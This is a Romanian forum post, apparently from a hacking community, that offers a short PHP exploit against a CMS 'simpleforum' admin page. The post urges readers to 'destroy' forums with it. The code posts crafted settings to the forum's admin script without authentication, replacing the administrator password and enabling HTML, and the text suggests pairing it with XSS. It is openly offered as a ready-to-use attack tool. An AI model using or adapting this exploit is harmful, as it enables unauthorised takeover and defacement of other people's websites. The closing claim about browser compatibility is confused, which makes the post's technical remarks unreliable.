Exploit pentru FORUMURI !

Vreti sa faceti praf un forum, dar aveti nevoie de admin? nimic mai simplu, v-am scris un mic exploit cu care sa va distrati. l-am testat si merge, variabilele fiind defineite intr-o gama destul de larga, zic eu, ceea ce va permite sa abordati si forumurile construite pe servere Apache.Acum tot ce ramane de facut, este sa introuduceti exploitul, si sa va distrati>
Cod:

/**
* Fuck off Forum. Schibi parola de admin
* Vulnerabilitati gasite si testate de HellScream
* Descriere:
* Acest exploit va permite sa schimbati parola adminului si sa executati
* modificari pe forum, dupa cum doriti. Langa acest exploit, puteti atasa si un XSS
*/

$target = 'localhost/audits/lovecms';
$pass = 'timetodie';
$buff = array
(
'language' => 'en',
'forumWidth' => '500',
'forumAlign' => 'left',
'forumTitle' => 'Simple Forum',
'threadsPerPage' => '15',
'wordLength' => '50',
'autoDelete' => '12',
'adminPass' => $pass,
'allowHTML' => '1',
'allowURLs' => '1',
'allowUBBs' => '1',
'enableIDs' => '0',
'enableSignature' => '1',
'enableRefererCheck' => '0',
'enableAgentCheck' => '0',
'agents' => 'Mozilla.Opera.Lynx.Mosaic.amaya.WebExplorer.IBrowse.iCab',
'nonos' => 'fuck.asshole',
'update' => 'Update'
);

$xpl = curl_init();

curl_setopt($xpl, CURLOPT_URL, $target . '/modules/simpleforum/admin/index.php');
curl_setopt($xpl, CURLOPT_POST, 1);
curl_setopt($xpl, CURLOPT_POSTFIELDS, $buff);

curl_exec($xpl);
curl_close($xpl);

echo "[!] Go to the website and check if U can login.\r\n";
?>

# HellScream


L-am testat pe Mozilla, si merge perfect. Este conceput pentru majoritatea browserelor, dar recomand cu caldura Mozilla

Super programe gg KrT